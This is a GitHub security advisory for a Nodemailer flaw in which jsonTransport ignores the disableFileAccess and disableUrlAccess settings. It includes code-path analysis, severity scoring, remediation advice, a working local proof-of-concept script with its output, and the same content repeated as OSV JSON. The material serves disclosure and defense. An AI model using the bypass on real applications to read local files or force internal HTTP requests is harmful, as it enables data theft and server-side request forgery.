GHSA-WQVQ-JVPQ-H66F

Vulnerability from github – Published: 2026-06-15 17:35 – Updated: 2026-06-15 17:35
VLAI
Summary
Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization
Details

Summary

Nodemailer's disableFileAccess and disableUrlAccess options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in MimeNode._getStream(). However, jsonTransport serializes messages by calling mail.normalize(), which resolves html, text, alternatives, calendar events, and attachments through shared.resolveContent() before MIME generation. shared.resolveContent() reads local files and fetches HTTP(S) URLs directly, without receiving or checking disableFileAccess or disableUrlAccess.

As a result, applications that use jsonTransport as a safe serializer or queue payload generator while relying on disableFileAccess / disableUrlAccess can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment path or text.href.

The same missing-enforcement root cause is also reachable before normal streaming when attachDataUrls causes _convertDataImages() to call mail.resolveContent(mail.data, 'html', ...); this should be fixed with the same access-control check.

Details

Source-to-sink evidence:

  • lib/nodemailer.js:42-45 selects JSONTransport when createTransport({ jsonTransport: true, ... }) is used.
  • lib/mailer/mail-message.js:34-39 copies transport-level disableFileAccess and disableUrlAccess options into mail.data.
  • lib/json-transport/index.js:52-76 serializes mail by calling mail.normalize((err, data) => ...).
  • lib/mailer/mail-message.js:46-135 implements resolveAll() and calls shared.resolveContent(...args, ...) for html, text, watchHtml, amp, icalEvent, alternatives, and attachments.
  • lib/shared/index.js:506-562 implements resolveContent().
  • lib/shared/index.js:540-541 fetches HTTP(S) content with nmfetch(content.path || content.href).
  • lib/shared/index.js:549-550 reads local files with fs.createReadStream(content.path).
  • shared.resolveContent() does not check disableFileAccess or disableUrlAccess and does not receive those flags.

Control path showing intended enforcement:

  • lib/mail-composer/index.js:358-359, lib/mail-composer/index.js:367-368, and sibling child-node creation paths pass disableUrlAccess and disableFileAccess into MimeNode.
  • lib/mime-node/index.js:51-52 stores those flags.
  • lib/mime-node/index.js:984-995 rejects file paths with EFILEACCESS when disableFileAccess is set.
  • lib/mime-node/index.js:998-1009 rejects URLs with EURLACCESS when disableUrlAccess is set.
  • test/mail-composer/mail-composer-test.js:1028-1044 includes a normal MIME-streaming test that expects file access to be blocked when disableFileAccess: true.

Additional same-root-cause variant:

  • lib/mailer/index.js:406-434 implements _convertDataImages() for attachDataUrls.
  • lib/mailer/index.js:407-410 calls mail.resolveContent(mail.data, 'html', ...) when attachDataUrls is enabled and mail.data.html is present.
  • Because mail.resolveContent() delegates to shared.resolveContent() at lib/mailer/mail-message.js:42-44, an object-form html: { path: ... } or html: { href: ... } can be resolved before the later MIME streaming enforcement sees the content.
  • This variant requires attachDataUrls to be enabled, so the main reportable default/common path is jsonTransport; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.

Default/common exposure evidence:

  • jsonTransport is a shipped runtime transport selected by public createTransport options.
  • test/json-transport/json-transport-test.js:9-83 demonstrates that jsonTransport intentionally resolves file-backed html and attachments into JSON output.
  • disableFileAccess and disableUrlAccess are documented by code and tests as security controls and are copied from transport options into message data for all transports.
  • The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.

False-positive screening and negative controls:

  • The local PoC used the same disableFileAccess: true and disableUrlAccess: true transport options for both jsonTransport and normal streamTransport controls.
  • jsonTransport read the temporary local fixture file and embedded the content in JSON despite disableFileAccess: true.
  • streamTransport with the same attachment and disableFileAccess: true rejected with EFILEACCESS.
  • jsonTransport fetched a local HTTP listener despite disableUrlAccess: true.
  • streamTransport with the same URL and disableUrlAccess: true rejected with EURLACCESS.
  • The local URL proof used only 127.0.0.1 and did not contact external infrastructure.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows jsonTransport has existed since commit d78b63b (2017-02-09, "Added test for json transport"), and disableFileAccess appears in historical setup commit 6218b8d (2017-01-31), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.
  • AC: A single message field using path or href triggers the bypass when jsonTransport is used.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.
  • UI: No user interaction is required after the application accepts the message object.
  • S: The impact remains in the embedding application/library security scope.
  • C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.
  • I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.
  • A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.

Final self-review:

  • Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local 127.0.0.1 HTTP listener.
  • The PoC included positive proof for file read and URL fetch, plus negative controls showing normal streamTransport rejects the same inputs with EFILEACCESS and EURLACCESS.
  • The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.
  • Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.

PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const nodemailer = require('./');
const marker = 'NM_JSON_BYPASS_' + Date.now();
const fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');
fs.writeFileSync(fixture, marker);
function sendMail(transport, data) {
  return new Promise((resolve, reject) => transport.sendMail(data, (err, info) => err ? reject(err) : resolve(info)));
}
(async () => {
  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });
  const jsonInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json file bypass',
    text: 'body',
    attachments: [{ filename: 'secret.txt', path: fixture }]
  });
  const jsonMessage = JSON.parse(jsonInfo.message);
  const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');
  console.log('JSON_FILE_BYPASS=' + (decoded === marker));
  console.log('JSON_FILE_CONTENT=' + decoded);

  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });
  try {
    await sendMail(streamTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream control',
      text: 'body',
      attachments: [{ filename: 'secret.txt', path: fixture }]
    });
    console.log('STREAM_FILE_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_FILE_CONTROL=' + err.code);
  }

  const server = http.createServer((req, res) => {
    console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);
    res.end('LOCAL_HTTP_MARKER');
  });
  await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
  const url = 'http://127.0.0.1:' + server.address().port + '/private';
  const jsonUrlInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json url bypass',
    text: { href: url }
  });
  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);
  console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));
  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });
  try {
    await sendMail(streamUrlTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream url control',
      text: { href: url }
    });
    console.log('STREAM_URL_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_URL_CONTROL=' + err.code);
  }
  server.close();
  fs.unlinkSync(fixture);
})().catch(err => { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

JSON_FILE_BYPASS=true
JSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150
STREAM_FILE_CONTROL=EFILEACCESS
LOCAL_HTTP_REQUEST=GET /private
JSON_URL_BYPASS=true
STREAM_URL_CONTROL=EURLACCESS

Expected vulnerable output: JSON_FILE_BYPASS=true, the printed temporary marker in JSON_FILE_CONTENT, a LOCAL_HTTP_REQUEST=GET /private line, and JSON_URL_BYPASS=true. Expected negative/control output: STREAM_FILE_CONTROL=EFILEACCESS and STREAM_URL_CONTROL=EURLACCESS, showing the same policy flags work in the normal streaming transport.

Cleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.

Impact

If an application uses jsonTransport to safely serialize or queue partially user-controlled Nodemailer message objects while relying on disableFileAccess / disableUrlAccess, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.

Suggested remediation

Enforce disableFileAccess and disableUrlAccess inside shared.resolveContent() or pass an explicit policy object into every pre-resolution call and reject protected path / href values before opening files or fetching URLs. Apply the same fix to jsonTransport normalization and the attachDataUrls pre-plugin path. Add regression tests showing jsonTransport returns EFILEACCESS / EURLACCESS for file and URL content when those flags are set, and that attachDataUrls cannot resolve object-form html.path / html.href when the corresponding access flag is disabled.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T17:35:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNodemailer\u0027s `disableFileAccess` and `disableUrlAccess` options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in `MimeNode._getStream()`. However, `jsonTransport` serializes messages by calling `mail.normalize()`, which resolves `html`, `text`, alternatives, calendar events, and attachments through `shared.resolveContent()` before MIME generation. `shared.resolveContent()` reads local files and fetches HTTP(S) URLs directly, without receiving or checking `disableFileAccess` or `disableUrlAccess`.\n\nAs a result, applications that use `jsonTransport` as a safe serializer or queue payload generator while relying on `disableFileAccess` / `disableUrlAccess` can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment `path` or `text.href`.\n\nThe same missing-enforcement root cause is also reachable before normal streaming when `attachDataUrls` causes `_convertDataImages()` to call `mail.resolveContent(mail.data, \u0027html\u0027, ...)`; this should be fixed with the same access-control check.\n\n### Details\nSource-to-sink evidence:\n\n- `lib/nodemailer.js:42-45` selects `JSONTransport` when `createTransport({ jsonTransport: true, ... })` is used.\n- `lib/mailer/mail-message.js:34-39` copies transport-level `disableFileAccess` and `disableUrlAccess` options into `mail.data`.\n- `lib/json-transport/index.js:52-76` serializes mail by calling `mail.normalize((err, data) =\u003e ...)`.\n- `lib/mailer/mail-message.js:46-135` implements `resolveAll()` and calls `shared.resolveContent(...args, ...)` for `html`, `text`, `watchHtml`, `amp`, `icalEvent`, alternatives, and attachments.\n- `lib/shared/index.js:506-562` implements `resolveContent()`.\n- `lib/shared/index.js:540-541` fetches HTTP(S) content with `nmfetch(content.path || content.href)`.\n- `lib/shared/index.js:549-550` reads local files with `fs.createReadStream(content.path)`.\n- `shared.resolveContent()` does not check `disableFileAccess` or `disableUrlAccess` and does not receive those flags.\n\nControl path showing intended enforcement:\n\n- `lib/mail-composer/index.js:358-359`, `lib/mail-composer/index.js:367-368`, and sibling child-node creation paths pass `disableUrlAccess` and `disableFileAccess` into `MimeNode`.\n- `lib/mime-node/index.js:51-52` stores those flags.\n- `lib/mime-node/index.js:984-995` rejects file paths with `EFILEACCESS` when `disableFileAccess` is set.\n- `lib/mime-node/index.js:998-1009` rejects URLs with `EURLACCESS` when `disableUrlAccess` is set.\n- `test/mail-composer/mail-composer-test.js:1028-1044` includes a normal MIME-streaming test that expects file access to be blocked when `disableFileAccess: true`.\n\nAdditional same-root-cause variant:\n\n- `lib/mailer/index.js:406-434` implements `_convertDataImages()` for `attachDataUrls`.\n- `lib/mailer/index.js:407-410` calls `mail.resolveContent(mail.data, \u0027html\u0027, ...)` when `attachDataUrls` is enabled and `mail.data.html` is present.\n- Because `mail.resolveContent()` delegates to `shared.resolveContent()` at `lib/mailer/mail-message.js:42-44`, an object-form `html: { path: ... }` or `html: { href: ... }` can be resolved before the later MIME streaming enforcement sees the content.\n- This variant requires `attachDataUrls` to be enabled, so the main reportable default/common path is `jsonTransport`; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.\n\nDefault/common exposure evidence:\n\n- `jsonTransport` is a shipped runtime transport selected by public `createTransport` options.\n- `test/json-transport/json-transport-test.js:9-83` demonstrates that `jsonTransport` intentionally resolves file-backed `html` and attachments into JSON output.\n- `disableFileAccess` and `disableUrlAccess` are documented by code and tests as security controls and are copied from transport options into message data for all transports.\n- The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.\n\nFalse-positive screening and negative controls:\n\n- The local PoC used the same `disableFileAccess: true` and `disableUrlAccess: true` transport options for both `jsonTransport` and normal `streamTransport` controls.\n- `jsonTransport` read the temporary local fixture file and embedded the content in JSON despite `disableFileAccess: true`.\n- `streamTransport` with the same attachment and `disableFileAccess: true` rejected with `EFILEACCESS`.\n- `jsonTransport` fetched a local HTTP listener despite `disableUrlAccess: true`.\n- `streamTransport` with the same URL and `disableUrlAccess: true` rejected with `EURLACCESS`.\n- The local URL proof used only `127.0.0.1` and did not contact external infrastructure.\n\nAffected version evidence and uncertainty:\n\n- Confirmed vulnerable: `nodemailer` 8.0.8 at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`.\n- Git history shows `jsonTransport` has existed since commit `d78b63b` (2017-02-09, \"Added test for json transport\"), and `disableFileAccess` appears in historical setup commit `6218b8d` (2017-01-31), but older versions were not dynamically tested during this audit.\n- Affected range is therefore recorded as unknown beyond the confirmed current version.\n- No patched version was identified in this checkout.\n\nSeverity rationale:\n\n- AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.\n- AC: A single message field using `path` or `href` triggers the bypass when `jsonTransport` is used.\n- PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.\n- UI: No user interaction is required after the application accepts the message object.\n- S: The impact remains in the embedding application/library security scope.\n- C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.\n- I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.\n- A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.\n\nFinal self-review:\n\n- Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local `127.0.0.1` HTTP listener.\n- The PoC included positive proof for file read and URL fetch, plus negative controls showing normal `streamTransport` rejects the same inputs with `EFILEACCESS` and `EURLACCESS`.\n- The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.\n- Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.\n- The affected range is not overclaimed; only the current tested version is confirmed vulnerable.\n\n### PoC\n\nFrom a clean checkout of `nodemailer` at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`, run:\n\n```bash\nnode \u003c\u003c\u0027NODE\u0027\n\u0027use strict\u0027;\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst http = require(\u0027http\u0027);\nconst nodemailer = require(\u0027./\u0027);\nconst marker = \u0027NM_JSON_BYPASS_\u0027 + Date.now();\nconst fixture = path.join(os.tmpdir(), \u0027nodemailer-json-bypass-\u0027 + process.pid + \u0027.txt\u0027);\nfs.writeFileSync(fixture, marker);\nfunction sendMail(transport, data) {\n  return new Promise((resolve, reject) =\u003e transport.sendMail(data, (err, info) =\u003e err ? reject(err) : resolve(info)));\n}\n(async () =\u003e {\n  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });\n  const jsonInfo = await sendMail(jsonTransport, {\n    from: \u0027sender@example.test\u0027,\n    to: \u0027recipient@example.test\u0027,\n    subject: \u0027json file bypass\u0027,\n    text: \u0027body\u0027,\n    attachments: [{ filename: \u0027secret.txt\u0027, path: fixture }]\n  });\n  const jsonMessage = JSON.parse(jsonInfo.message);\n  const decoded = Buffer.from(jsonMessage.attachments[0].content, \u0027base64\u0027).toString(\u0027utf8\u0027);\n  console.log(\u0027JSON_FILE_BYPASS=\u0027 + (decoded === marker));\n  console.log(\u0027JSON_FILE_CONTENT=\u0027 + decoded);\n\n  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });\n  try {\n    await sendMail(streamTransport, {\n      from: \u0027sender@example.test\u0027,\n      to: \u0027recipient@example.test\u0027,\n      subject: \u0027stream control\u0027,\n      text: \u0027body\u0027,\n      attachments: [{ filename: \u0027secret.txt\u0027, path: fixture }]\n    });\n    console.log(\u0027STREAM_FILE_CONTROL=NO_ERROR\u0027);\n  } catch (err) {\n    console.log(\u0027STREAM_FILE_CONTROL=\u0027 + err.code);\n  }\n\n  const server = http.createServer((req, res) =\u003e {\n    console.log(\u0027LOCAL_HTTP_REQUEST=\u0027 + req.method + \u0027 \u0027 + req.url);\n    res.end(\u0027LOCAL_HTTP_MARKER\u0027);\n  });\n  await new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n  const url = \u0027http://127.0.0.1:\u0027 + server.address().port + \u0027/private\u0027;\n  const jsonUrlInfo = await sendMail(jsonTransport, {\n    from: \u0027sender@example.test\u0027,\n    to: \u0027recipient@example.test\u0027,\n    subject: \u0027json url bypass\u0027,\n    text: { href: url }\n  });\n  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);\n  console.log(\u0027JSON_URL_BYPASS=\u0027 + (jsonUrlMessage.text === \u0027LOCAL_HTTP_MARKER\u0027));\n  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });\n  try {\n    await sendMail(streamUrlTransport, {\n      from: \u0027sender@example.test\u0027,\n      to: \u0027recipient@example.test\u0027,\n      subject: \u0027stream url control\u0027,\n      text: { href: url }\n    });\n    console.log(\u0027STREAM_URL_CONTROL=NO_ERROR\u0027);\n  } catch (err) {\n    console.log(\u0027STREAM_URL_CONTROL=\u0027 + err.code);\n  }\n  server.close();\n  fs.unlinkSync(fixture);\n})().catch(err =\u003e { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err \u0026\u0026 err.stack || err); process.exit(1); });\nNODE\n```\n\nObserved output in this environment:\n\n```text\nJSON_FILE_BYPASS=true\nJSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150\nSTREAM_FILE_CONTROL=EFILEACCESS\nLOCAL_HTTP_REQUEST=GET /private\nJSON_URL_BYPASS=true\nSTREAM_URL_CONTROL=EURLACCESS\n```\n\nExpected vulnerable output: `JSON_FILE_BYPASS=true`, the printed temporary marker in `JSON_FILE_CONTENT`, a `LOCAL_HTTP_REQUEST=GET /private` line, and `JSON_URL_BYPASS=true`. Expected negative/control output: `STREAM_FILE_CONTROL=EFILEACCESS` and `STREAM_URL_CONTROL=EURLACCESS`, showing the same policy flags work in the normal streaming transport.\n\nCleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.\n\n### Impact\n\nIf an application uses `jsonTransport` to safely serialize or queue partially user-controlled Nodemailer message objects while relying on `disableFileAccess` / `disableUrlAccess`, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.\n\n### Suggested remediation\n\nEnforce `disableFileAccess` and `disableUrlAccess` inside `shared.resolveContent()` or pass an explicit policy object into every pre-resolution call and reject protected `path` / `href` values before opening files or fetching URLs. Apply the same fix to `jsonTransport` normalization and the `attachDataUrls` pre-plugin path. Add regression tests showing `jsonTransport` returns `EFILEACCESS` / `EURLACCESS` for file and URL content when those flags are set, and that `attachDataUrls` cannot resolve object-form `html.path` / `html.href` when the corresponding access flag is disabled.",
  "id": "GHSA-wqvq-jvpq-h66f",
  "modified": "2026-06-15T17:35:10Z",
  "published": "2026-06-15T17:35:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wqvq-jvpq-h66f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization"
}



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